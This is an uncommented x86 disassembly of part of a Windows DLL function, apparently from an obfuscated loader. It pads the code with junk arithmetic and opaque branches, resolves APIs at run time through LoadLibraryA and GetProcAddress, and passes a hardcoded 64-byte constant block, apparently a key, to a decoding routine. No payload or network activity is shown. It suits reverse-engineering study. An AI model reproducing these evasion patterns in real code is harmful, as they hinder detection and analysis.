mov eax, dword [esp + 0x98]
mov ecx, dword [esp + 0x9c]
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], ecx
jmp 0x1000c5da
cmp byte [0x10011033], 0
je 0x1000c5da
mov eax, dword [0x10011068]
mov ecx, dword [0x1001106c]
mov esi, dword [esp + 0x4c]
mov dword [esp + 0x50], 0xe88a2166
mov dword [esp + 0x54], 0
cmp dword [0x100110c0], 0
je 0x1000c5ff
mov ecx, dword [0x10011020]
jmp 0x1000c610
mov ecx, dword [0x100110c4]
mov dword [esp + 0x9c], 0
mov eax, dword [0x1001465c]
mov dword [0x10011090], ecx
mov dword [esp + 0x84], eax
mov eax, dword [esp + 0x48]
or eax, esi
je 0x1000c648
cmp byte [0x10011036], 0
je 0x1000c63d
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
jmp 0x1000c648
mov eax, dword [0x10011078]
mov ecx, dword [0x1001107c]
mov eax, dword [esp + 0x84]
mov cl, 0x88
add eax, 0x28b
mov dword [esp + 0x98], eax
movzx eax, byte [esp + 0x1a]
add eax, 0xd9a2
or dword [0x100110c4], eax
mov eax, dword [esp + 0x84]
add eax, 0x2ce
push 0xffffffffffffffd1
mov dword [esp + 0x98], eax
movzx eax, byte [0x10011033]
mov dl, byte [0x100110c4]
push 0
push eax
push 0xffffffffffffffc8
call fcn.10001410
movsx eax, al
add esp, 0x10
cdq
mov dword [esp + 0x88], eax
mov eax, dword [esp + 0xac]
cwde
not eax
mov dword [esp + 0x78], edx
cdq
cmp edx, dword [0x1001104c]
jb 0x1000c6cf
ja 0x1000c6c8
cmp eax, dword [0x10011048]
jbe 0x1000c6cf
mov ecx, 1
jmp 0x1000c6d1
xor ecx, ecx
movsx eax, byte [0x10011005]
cmp ecx, eax
je 0x1000c797
mov eax, dword [esp + 0x50]
mov ecx, dword [esp + 0x54]
mov dword [esp + 0x98], eax
mov ax, word [esp + 0x58]
movzx eax, al
cdq
cmp ecx, edx
jb 0x1000c711
ja 0x1000c707
cmp dword [esp + 0x98], eax
jbe 0x1000c711
mov dword [esp + 0x44], 1
jmp 0x1000c719
mov dword [esp + 0x44], 0
movsx edx, byte [0x1001103a]
xor ecx, ecx
movsx eax, byte [0x1001103b]
not edx
cmp eax, edx
setg cl
cmp dword [esp + 0x44], ecx
jne 0x1000c797
mov cx, word [0x1001109c]
movsx eax, word [0x10011020]
not cx
movsx ecx, cx
imul ecx, eax
mov eax, dword [0x10011040]
not cx
movzx edx, cx
mov ecx, dword [esp + 0xac]
sub ecx, eax
mov eax, dword [0x10011058]
imul ecx, edx
not eax
movsx dx, byte [0x10011037]
not dx
movzx ecx, cx
add dx, ax
mov eax, 0xffff
sub dx, word [0x10011020]
add dx, cx
add word [0x10011050], ax
mov word [esp + 0x20], dx
mov eax, dword [esp + 0x84]
add eax, 0x305
mov dword [esp + 0xc8], eax
mov eax, dword [esp + 0x7c]
movzx eax, ax
cdq
push edx
push eax
movsx eax, byte [esp + 0x17]
cdq
push edx
push eax
push dword [0x1001104c]
push dword [0x10011048]
call fcn.100012e0
xor edx, edx
add esp, 0x18
cmp al, 0x47
setle dl
xor ecx, ecx
test al, al
setle cl
cmp ecx, edx
ja 0x1000c805
mov eax, dword [esp + 0x48]
or eax, esi
je 0x1000c805
cmp byte [esp + 0x70], 0
je 0x1000c7f8
movsx eax, word [esp + 0x20]
jmp 0x1000c7ff
movsx eax, byte [0x10011005]
mov word [0x10011094], ax
push str.PathAppendW
lea eax, [esp + 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x1b4]
push ecx
lea ecx, [esp + 0x31c]
push ecx
call eax
mov edx, dword [esp + 0x7c]
movzx eax, byte [0x10011033]
movzx esi, dx
sub eax, esi
je 0x1000c871
cmp byte [esp + 0xe], 0
je 0x1000c871
mov eax, dword [esp + 0x70]
movsx eax, al
add eax, 0x452866fc
mov dword [esp + 0x40], eax
mov al, byte [0x10011036]
shr al, 7
movzx eax, al
cdq
mov dword [0x100110a0], eax
mov dword [0x100110a4], edx
lea edx, [esp + 0x1c8]
lea ecx, [esp + 0x318]
call fcn.10005630
mov edx, dword [esp + 0x5c]
sub edx, dword [esp + 0x5c]
mov ecx, dword [esp + 0x30]
sub edx, ecx
mov dword [esp + 0x6c], eax
cmp edx, dword [esp + 0x5c]
je 0x1000f056
mov eax, dword [0x100110c8]
mov ecx, dword [esp + 0x28]
cdq
mov dword [esp + 0x30], ecx
mov ecx, dword [esp + 0x2c]
cmp ecx, edx
jl 0x1000c8c6
jg 0x1000c8be
cmp dword [esp + 0x30], eax
jb 0x1000c8c6
and dword [section..data], edi
jmp 0x1000c908
cmp word [0x10011050], 0
je 0x1000c8f4
mov eax, dword [0x10011090]
mov edx, dword [esp + 0x28]
mov cl, byte [0x100110c4]
add dl, 0x51
sub cl, al
mov eax, dword [esp + 0x2c]
add dl, cl
not dl
mov byte [0x1001103a], dl
jmp 0x1000c908
cmp word [esp + 0x7c], 0
je 0x1000c908
mov eax, dword [0x10011040]
add eax, esi
mov dword [0x10011040], eax
cmp dword [esp + 0x6c], 0
je 0x1000f056
mov eax, dword [esp + 0x70]
movzx ecx, word [esp + 0x20]
movsx edx, al
mov eax, 0x2b40
not edx
neg edx
push 0
sbb edx, edx
imul ecx, eax
inc edx
push 0
push 0xffffffffffffff8a
push 0
push dword [esp + 0xe4]
sub dx, cx
movsx ecx, byte [0x10011005]
movzx eax, dx
not cx
add cx, ax
mov dl, 0x66
movzx eax, cx
mov cl, 0xbe
mov dword [esp + 0x88], eax
mov al, byte [0x10011004]
add al, 0x15
add byte [0x10011036], al
mov eax, dword [0x1001465c]
mov dword [esp + 0x70], eax
mov eax, dword [esp + 0x70]
add eax, 0x366
mov dword [esp + 0x44], eax
call fcn.10001000
cbw
add esp, 0x14
mov word [0x1001109c], ax
mov eax, dword [esp + 0x5c]
add eax, 0x2f3
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x5c]
add eax, 0x22a
mov dword [esp + 0x98], eax
imul eax, dword [esp + 0x30], 0x52
cmp eax, dword [esp + 0x98]
je 0x1000f056
mov edx, 0x7f
nop word [eax + eax]
mov ax, word [0x10011094]
mov ecx, dword [0x10011008]
xor byte [esp + 0x70], cl
mov byte [0x10011037], al
mov eax, dword [0x1001100c]
mov eax, dword [0x100110b4]
inc eax
mov dword [0x100110b4], eax
sub edx, 1
jne 0x1000c9d0
mov eax, dword [esp + 0x1c8]
mov edx, 0x40
mov ecx, dword [esp + 0x6c]
push eax
push ecx
push eax
push ecx
lea ecx, [esp + 0x140]
mov dword [esp + 0x140], 0x692e0da5
mov dword [esp + 0x144], 0x3ac7a665
mov dword [esp + 0x148], 0x90984d0e
mov dword [esp + 0x14c], 0x48cf5d92
mov dword [esp + 0x150], 0xccacfaa9
mov dword [esp + 0x154], 0x89bd1e74
mov dword [esp + 0x158], 0xfdd69523
mov dword [esp + 0x15c], 0x7123f43f
mov dword [esp + 0x160], 0xf056f451
mov dword [esp + 0x164], 0x886575cb
mov dword [esp + 0x168], 0x4b49d13c
mov dword [esp + 0x16c], 0xcb29d645
mov dword [esp + 0x170], 0xd2377fc1
mov dword [esp + 0x174], 0xfdf4c45e
mov dword [esp + 0x178], 0x70893042
mov dword [esp + 0x17c], 0x943c2198
call fcn.10003e30
mov edx, dword [esp + 0xbc]
add esp, 0x10
test dx, dx
jne 0x1000cb15
cmp word [esp + 0x74], dx
je 0x1000cb09
mov dword [0x10011060], 0xdf2d21e5
mov dword [0x10011064], 0xd91bc
mov dword [esp + 0x88], 0x4a1e
mov dword [esp + 0x78], 0
jmp 0x1000cb15
lea eax, [edi + 0x1e66]
mov word [0x1001103c], ax
movsx ecx, word [esp + 0x20]
mov esi, 0xd9
mov word [0x1001109c], si
inc ecx
movsx eax, word [0x1001109c]
cmp eax, ecx
jne 0x1000cb5f
mov al, byte [0x10011007]
mov cl, 1
add al, dl
cmp dword [0x100110b8], 1
mov byte [esp + 0x70], al
jne 0x1000cb63
mov cl, byte [esp + 0x1a]
mov al, byte [esp + 0x88]
not al
mov word [0x1001109c], si
add cl, al
movzx eax, word [0x1001465c]
mov byte [esp + 0x1a], cl
mov ecx, dword [esp + 0x94]
add ecx, dword [esp + 0x94]
mov dword [esp + 0x5c], eax
imul eax, dword [esp + 0xc8], 0x2e
cmp eax, ecx
je 0x1000f043
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret 8